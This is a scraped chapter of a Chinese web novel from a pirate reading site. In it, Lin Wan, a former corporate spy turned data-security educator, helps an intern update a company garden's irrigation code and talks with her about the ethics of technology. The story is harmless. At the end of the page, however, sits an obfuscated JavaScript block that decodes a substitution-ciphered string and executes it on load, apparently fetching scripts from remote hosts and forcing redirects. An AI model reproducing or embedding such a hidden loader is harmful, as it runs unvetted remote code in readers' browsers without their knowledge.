首页
第292章续1 菜园夜话·薪
返回
关灯 护眼:关 字号:小

第292章续1 菜园夜话·薪火相传

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第292章续1菜园夜话·薪火相传(第1/2页)
    婚礼的人群散去后,菜园重归宁静。夕阳将温室的玻璃染成暖金色,晚风送来薄荷和罗勒的混合香气。行政部的几个年轻人正在收拾桌椅,动作轻快,脸上还带着婚礼的余温。
    林晚没有立刻离开,她站在番茄架前,摘了一颗熟透的小番茄放入口中。酸甜的汁液在舌尖化开,带着阳光的味道——这是她在龙胆科技五年,最熟悉也最怀念的味道。
    “林顾问,要帮忙吗?”一个清亮的声音响起。
    林晚回头,看见说话的是个扎着马尾辫的女孩,约莫二十五六岁,穿着简单的白T恤和牛仔裤,脸上有几点雀斑,笑起来眼睛弯弯的。林晚认得她——技术部的实习生苏晓,上个月刚通过考核转正,是姚浮萍亲自带的徒弟。
    “不用了,你们忙完早点回去休息。”林晚微笑道,“今天周末,该去约会的约会。”
    苏晓不好意思地挠挠头:“没约会……我导师让我留下来检查温室的灌溉系统,说今晚有程序更新。”
    “浮萍姐?”林晚挑眉,“她人已经走了啊。”
    “她走前给我发了任务清单。”苏晓掏出手机,屏幕上密密麻麻列着十几项检查项目,“浮萍姐说,菜园的智能系统是她五年前写的初代代码,虽然稳定,但架构已经老了。下个月研发中心奠基,她想把菜园系统作为‘技术考古’的案例,让新入职的工程师看看当年的设计思路。”
    林晚心中一动。她记得五年前,正是“五彩绫镜”项目最紧张的时候,姚浮萍连续加班两个月,有一天忽然说要在天台种菜。当时大家都觉得她疯了,龙胆草却说:“让她种吧,代码写多了,需要接地气。”
    没想到那片小小的菜园,不仅成了公司的减压圣地,更成了技术迭代的活标本。
    “我跟你一起看吧。”林晚忽然说,“正好,我也想学学浮萍姐当年的架构。”
    苏晓眼睛一亮:“真的吗?太好了!我正愁一个人看不懂那些注释呢——浮萍姐的注释写得跟天书似的。”
    两人走进温室。傍晚的光线透过玻璃变得柔和,温度湿度控制系统发出低微的嗡嗡声。苏晓打开控制柜,里面是一台老旧的工控机,屏幕上滚动着代码。
    “喏,这就是核心控制程序。”苏晓指着屏幕,“C语言写的,没有用任何框架,完全是手撸的。浮萍姐说,那时候公司刚起步,买不起现成的农业物联网方案,她就自己写了一套。”
    林晚凑近细看。代码确实古朴——变量命名都是a、b、c、temp1、temp2,注释也只有寥寥几句,但逻辑清晰,结构严谨。她能想象出五年前的姚浮萍,在深夜的办公室里,一边啃着面包一边敲下这些代码的样子。
    “这里有个很有趣的设计。”苏晓点开一个函数,“你看,温度控制的PID算法,浮萍姐没有用标准的库函数,而是自己推导了参数整定公式。她在注释里写:‘植物的感受和传感器数据之间,有0.3秒的滞后。人察觉不到,但番茄知道。’”
    林晚忍不住笑了。这确实是姚浮萍的风格——把科学严谨做到极致,却又带着某种诗意的偏执。
    “所以你现在要做什么更新?”林晚问。
    “浮萍姐让我把数据采集频率从每秒一次提到每秒十次,同时增加一个‘异常生长模式’识别模块。”苏晓调出设计文档,“她说,过去五年菜园积累了两百多万条环境数据和作物生长数据,足够训练一个简单的机器学习模型,来预测病虫害或者营养缺乏。”
    “用AI种菜?”林晚觉得有趣。
    “算是吧。不过浮萍姐强调,这个模型不能是黑箱——每一条判断必须有可解释性,要能追溯到具体是哪项环境参数的变化导致了预警。”苏晓认真地说,“她说‘如果AI自己都说不清为什么觉得番茄要生病,那还不如让有经验的老农来看’。”
    林晚点头。这正是姚浮萍一直坚持的理念:技术要为人服务,而不是反过来让人困惑。
    两人开始工作。苏晓负责修改代码,林晚则帮着检查数据接口。温室里很安静,只有键盘敲击声和空调的低鸣。
    一个小时后,苏晓伸了个懒腰:“搞定!林顾问,你要不要看看新加的模块?”
    林晚走到屏幕前。新增的代码模块结构清晰,注释详细,甚至还画了数据流向图。她不禁赞叹:“写得很好,完全不像刚转正的新人。”
    苏晓脸红了:“都是浮萍姐教得好。她每周三晚上开小灶,给我们讲系统设计,从Unix哲学讲到微服务架构,还要求我们每学一个新技术,必须手写实现一遍核心算法。”
    “难怪。”林晚想起五年前,姚浮萍也是这样带她入门数据安全——从最基础的密码学原理讲起,要求她手动实现DES、AES,甚至尝试破解自己写的加密程序。那种严苛的训练,让她打下了扎实的基础。
    “林顾问……”苏晓忽然小声问,“我能问你个问题吗?”
    “你说。”
    “我听说……你以前也是从技术做起的,后来转去做数据安全公益了。”苏晓犹豫了一下,“是觉得做技术没意思了吗?”
    林晚愣了愣,随即明白过来——这女孩在职业生涯的十字路口,看到了不同的可能性,产生了困惑。
    “不是没意思,是找到了更适合我的方向。”林晚在控制台前的椅子上坐下,示意苏晓也坐,“你知道我为什么离开龙胆科技,去做公益组织吗?”
    苏晓摇头。
    “因为五年前,我犯过一个很大的错误。”林晚平静地说,“我差点毁了这家公司,也差点毁了自己的人生。是龙胆草、姚浮萍、九里香他们给了我第二次机会。那之后我就在想,技术可以创造伟大的产品,可以改变世界,但如果使用技术的人没有正确的价值观,技术也可能成为伤人的利器。”
    她看着温室里蓬勃生长的蔬菜:“我做数据安全公益,不是不热爱技术了,而是想用技术去做更有温度的事——教老人识别网络诈骗,帮中小企业建立基础的数据保护,告诉年轻人如何保护自己的隐私。这些事没有做算法研发那么‘高大上’,但每当我看到一个孩子因为我的课而避免了信息泄露,一个老人因为我们的科普而没被骗走养老金,那种成就感,不亚于发布一个成功的产品。”
    苏晓听得入神。
    “所以不是技术没意思,而是你要想清楚,你想用技术做什么。”林晚轻声道,“浮萍姐用技术种菜,龙胆草用技术保护隐私,九里香用技术分析人心——大家都在用自己擅长的方式,让世界变得好一点点。你呢,你想做什么?”
    苏晓沉默良久,才慢慢说:“我……我想做能让人‘安心’的技术。”
    (本章未完,请点击下一页继续阅读)第292章续1菜园夜话·薪火相传(第2/2页)
    “怎么说?”
    “我家在山区,爸妈都是农民。”苏晓声音低了下去,“三年前,我们县里推广智慧农业,给每家装了传感器,说能自动浇水施肥。但系统老出故障,不是该浇水的时候没水,就是大下雨天自动灌溉。有一年夏天,就因为系统误判,我家三亩地的玉米全旱死了。”
    她抬起头,眼圈有点红:“那时候我就想,如果做技术的人能多懂一点农业,多下几次地,是不是就不会发生这种事?所以我来龙胆科技面试时,看到公司有菜园,看到浮萍姐真的在种菜,我就想,这里不一样——这里的人知道技术是为人服务的。”
    林晚心中涌起暖流。她仿佛看到了当年的自己——那个在职场中迷茫,却依然相信技术可以更有温度的年轻人。
    “那你就跟着浮萍姐好好学。”林晚拍拍她的肩,“她虽然严厉,但她会教你最重要的东西:对技术的敬畏,对用户的尊重。”
    “嗯!”苏晓用力点头。
    这时,温室外传来脚步声。两人回头,看见龙胆草和曹辛夷走了进来。
    “还没走?”龙胆草有些意外。
    “在更新灌溉系统。”林晚站起身,“你们怎么回来了?”
    “忘拿东西了。”曹辛夷晃了晃手中的一个小木盒,“婚礼前埋的‘时间胶囊’,说好十年后再挖,结果刚才太激动,忘了。”
    那是一个巴掌大的檀木盒,表面刻着“龙胆科技·菜园”的字样。林晚记得,五年前公司上市时,他们几个人也埋过一个——里面装着各自写下的十年愿望。
    “我能看看吗?”苏晓好奇地问。
    曹辛夷和龙胆草对视一眼,笑了:“看吧,反正十年后也是要公开的。”
    木盒打开,里面是两张折叠的纸。曹辛夷展开自己的那张,轻声念道:“十年后,希望菜园还在,番茄还甜,身边的人还笑得像今天一样开心。”
    很简单,却很真挚。
    龙胆草的愿望更简洁:“别把公司搞垮了,另外,对她再好一点。”
    苏晓噗嗤笑出声,又赶紧捂住嘴。
    “你们呢?”曹辛夷看向林晚,“我记得五年前你们也埋了。”
    林晚点头:“在湖边那棵银杏树下。我的愿望是……五年后能坦然回到这里,和你们说声谢谢。”
    “实现了。”龙胆草肯定地说。
    “是啊,实现了。”林晚微笑。
    四人走出温室,夜幕已完全降临。菜园里的景观灯自动亮起,是温柔的暖黄色。人工湖对岸,龙胆科技的主楼灯火通明——即使在周末,依然有加班的窗口亮着灯。
    “最近在忙什么?”龙胆草问林晚。
    “下个月在成都的数据安全峰会,我要做个主题演讲。”林晚说,“另外,明镜组织正在和教育部合作,编写中小学数据素养教材。如果能通过评审,明年九月就能进课堂了。”
    “了不起。”曹辛夷由衷道,“从一个人,到一个组织,再到影响教育体系——你这五年,走得比我们都远。”
    “只是方向不同。”林晚摇头,“你们把龙胆科技带到行业巅峰,我在做的是播撒种子。也许十年后,今天听过我课的孩子里,会有人成为下一代的数据安全专家,甚至……加入龙胆科技。”
    “那我们就等着了。”龙胆草笑道,“到时候,让浮萍姐亲自带他们。”
    正说着,姚浮萍的电话打到苏晓手机上。苏晓接起,嗯了几声,挂断后说:“浮萍姐问系统更新好了没,还让我转告林顾问——下周研发中心奠基仪式,她想请你以‘外部技术顾问’的身份,给新入职的工程师讲讲数据安全伦理。”
    林晚怔了怔,随即笑了:“告诉她,我一定到。”
    这不仅是邀请,更是认可——认可她这些年在公益领域的积累,认可她对技术伦理的思考,认可她已经从一个需要被原谅的“污点证人”,成长为可以影响行业未来的专家。
    “走吧,我送你出去。”曹辛夷挽起林晚的手臂。
    两个女人并肩走在菜园小径上。月光洒下来,将她们的影子拉得很长。
    “林晚。”曹辛夷忽然说,“其实五年前,我嫉妒过你。”
    林晚停下脚步。
    “不是嫉妒你和龙胆之间那种若有若无的感情——那早就过去了。”曹辛夷看着她的眼睛,“我嫉妒的是,你经历过那么极致的道德困境,并且走了出来。这种经历会让一个人获得某种……深度。而我的人生相对来说太顺遂了。”
    “你现在也很有深度。”林晚真诚地说,“你的商业伦理课,我听过一次线上公开课。讲企业社会责任的那节,让我想起很多往事。”
    曹辛夷笑了,那笑容在月光下格外温暖:“下周见。记得,演讲别太紧张。”
    送到园区门口,林晚的车已经在等了。她上车前,回头看了一眼——龙胆草和曹辛夷还站在菜园入口,朝她挥手。远处,苏晓正在锁温室的门,那个年轻的背影在灯光下显得格外坚定。
    车子缓缓驶离。林晚靠在椅背上,看着窗外飞速后退的夜景。
    五年,仿佛一晃而过。
    从背负秘密的商业间谍,到在发布会上反戈一击的“污点证人”,再到离开公司寻找自我,最终创立公益组织,成为行业认可的专家……这条路她走得磕磕绊绊,但每一步都算数。
    手机震动,是姚浮萍发来的邮件,附件是研发中心奠基仪式的详细流程。邮件末尾附了一句话:“菜园系统更新得不错。苏晓说,你给了她很好的建议。”
    林晚回复:“是她自己悟性好。另外,谢谢你的邀请。”
    姚浮萍秒回:“不是邀请,是应该的。”
    简短的六个字,却让林晚眼眶发热。
    车窗外,城市的霓虹如流彩般划过。她想起五年前离开龙胆科技时,也是这样一个夜晚。那时她心中满是迷茫和愧疚,不知道前路在何方。
    而现在,她清楚地知道自己要去哪里,要做什么。
    手机又震了一下,是苏晓发来的消息:“林顾问,我今天很开心。谢谢您。”
    林晚打字回复:“加油。十年后,希望你成为让技术有温度的人。”
    发送。
    她收起手机,望向车窗外璀璨的夜色。
    前方,路还很长。但她不再是一个人。
    身后有曾经并肩作战的伙伴,前方有正在成长的年轻人,而她手中,握着可以照亮他人的火把。
    这感觉,很好。
    (第292章续1完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();